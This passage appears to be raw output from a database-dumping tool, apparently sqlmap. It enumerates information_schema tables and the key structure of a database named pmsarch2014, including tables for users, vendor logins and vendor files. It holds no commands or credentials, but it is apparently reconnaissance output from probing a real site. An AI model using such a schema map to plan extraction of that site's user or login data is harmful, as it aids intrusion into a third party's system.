19:22:19 | | | 16384 | 32768 | Dynamic | 10 | | 5 | 25 | 3276 | 0 | vendors_to_files | def | +---------+---------------------+-----------+-----------+------------+-------------+-------------------+---------------------+------------+-------------+-------------+-------------+-----------------+--------------+---------------------------------------+---------------+----------------+------------------+----------------+--------------------+-----------------+ Database: information_schema Table: INNODB_FT_DEFAULT_STOPWORD [36 entries] +---------+ | value | +---------+ | a | | about | | an | | are | | as | | at | | be | | by | | com | | de | | en | | for | | from | | how | | i | | in | | is | | it | | la | | of | | on | | or | | that | | the | | the | | this | | to | | und | | was | | what | | when | | where | | who | | will | | with | | www | +---------+ Database: information_schema Table: VIEWS [0 entries] +---------+------------+--------------+--------------+--------------+---------------+---------------+-----------------+----------------------+----------------------+ | DEFINER | TABLE_NAME | CHECK_OPTION | TABLE_SCHEMA | IS_UPDATABLE | SECURITY_TYPE | TABLE_CATALOG | VIEW_DEFINITION | CHARACTER_SET_CLIENT | COLLATION_CONNECTION | +---------+------------+--------------+--------------+--------------+---------------+---------------+-----------------+----------------------+----------------------+ +---------+------------+--------------+--------------+--------------+---------------+---------------+-----------------+----------------------+----------------------+ Database: information_schema Table: KEY_COLUMN_USAGE [47 entries] +------------------+-------------+--------------+---------------+-------------------------+------------------+-------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+ | TABLE_NAME | COLUMN_NAME | TABLE_SCHEMA | TABLE_CATALOG | CONSTRAINT_NAME | ORDINAL_POSITION | CONSTRAINT_SCHEMA | CONSTRAINT_CATALOG | REFERENCED_TABLE_NAME | REFERENCED_COLUMN_NAME | REFERENCED_TABLE_SCHEMA | POSITION_IN_UNIQUE_CONSTRAINT | +------------------+-------------+--------------+---------------+-------------------------+------------------+-------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+ | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | comments | | def | | | id | | | id | 1 | pmsarch2014 | def | pmsarch2014 | comments | | def | | comments | postId | pmsarch2014 | def | comments_ibfk_1 | 1 | pmsarch2014 | def | posts | id | pmsarch2014 | 1 | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design2_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design3_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design4_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design5_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design6_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design7_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design8_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design9_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | design_images | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs2 | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs3 | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs4 | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs5 | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs6 | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs7 | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs8 | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | designs9 | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | feed | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | feedsettings | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | posts | | def | | | id | | | id | 1 | pmsarch2014 | def | pmsarch2014 | posts | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | posts_to_feed | | def | | posts_to_feed | pid | pmsarch2014 | def | posts_to_feed_ibfk_1 | 1 | pmsarch2014 | def | posts | id | pmsarch2014 | 1 | | posts_to_feed | fid | pmsarch2014 | def | posts_to_feed_ibfk_2 | 1 | pmsarch2014 | def | feed | id | pmsarch2014 | 1 | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | ratings | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | sectiongroups | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | sections | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | sectionsettings | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | settings | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | tags | | def | | | id | | | id | 1 | pmsarch2014 | def | pmsarch2014 | tags | | def | | | tag | | | id | 2 | pmsarch2014 | def | pmsarch2014 | tags | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | tags_to_posts | | def | | | id | | | id | 1 | pmsarch2014 | def | pmsarch2014 | tags_to_posts | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | users | | def | | | id | | | id | 1 | pmsarch2014 | def | pmsarch2014 | users | | def | | | username | | | id | 2 | pmsarch2014 | def | pmsarch2014 | users | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | users_to_comments | | def | | | id | | | id | 1 | pmsarch2014 | def | pmsarch2014 | users_to_comments | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | vendorfiles | | def | | | id | | | id_2 | 1 | pmsarch2014 | def | pmsarch2014 | vendorlogins | | def | | | id | | | PRIMARY | 1 | pmsarch2014 | def | pmsarch2014 | vendors_to_files | | def | | vendors_to_files | vid | pmsarch2014 | def | vendors_to_files_ibfk_1 | 1 | pmsarch2014 | def | vendorlogins | id | pmsarch2014 | 1 | +------------------+-------------+--------------+---------------+-------------------------+------------------+-------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+ Database: information_schema Table: ROUTINES [0 entries] +---------+---------+----------+----------+-----------+--------------+--------------+--------------+--------------+---------------+---------------+---------------+---------------+----------------+----------------+----------------+-----------------+-----------------+-----------------+-----------------+------------------+-------------------+-------------------+--------------------+--------------------+--------------------+--------------------+----------------------+----------------------+------------------------+--------------------------+ | DEFINER | CREATED | SQL_PATH | SQL_MODE | DATA_TYPE | LAST_ALTERED | ROUTINE_NAME | ROUTINE_BODY | ROUTINE_TYPE | EXTERNAL_NAME | SPECIFIC_NAME | NUMERIC_SCALE | SECURITY_TYPE | DTD_IDENTIFIER | COLLATION_NAME | ROUTINE_SCHEMA | PARAMETER_STYLE | ROUTINE_CATALOG | ROUTINE_COMMENT | SQL_DATA_ACCESS | IS_DETERMINISTIC | EXTERNAL_LANGUAGE | NUMERIC_PRECISION | ROUTINE_DEFINITION | DATETIME_PRECISION | DATABASE_COLLATION | CHARACTER_SET_NAME | CHARACTER_SET_CLIENT | COLLATION_CONNECTION | CHARACTER_OCTET_LENGTH | CHARACTER_MAXIMUM_LENGTH | +---------+---------+----------+----------+-----------+--------------+--------------+--------------+--------------+---------------+---------------+---------------+---------------+----------------+----------------+----------------+-----------------+-----------------+-----------------+-----------------+------------------+-------------------+-------------------+--------------------+--------------------+--------------------+--------------------+----------------------+----------------------+------------------------+--------------------------+ +---------+---------+----------+----------+-----------+--------------+--------------+--------------+--------------+---------------+---------------+---------------+---------------+----------------+----------------+----------------+-----------------+-----------------+-----------------+-----------------+------------------+-------------------+-------------------+--------------------+--------------------+--------------------+--------------------+----------------------+----------------------+------------------------+--------------------------+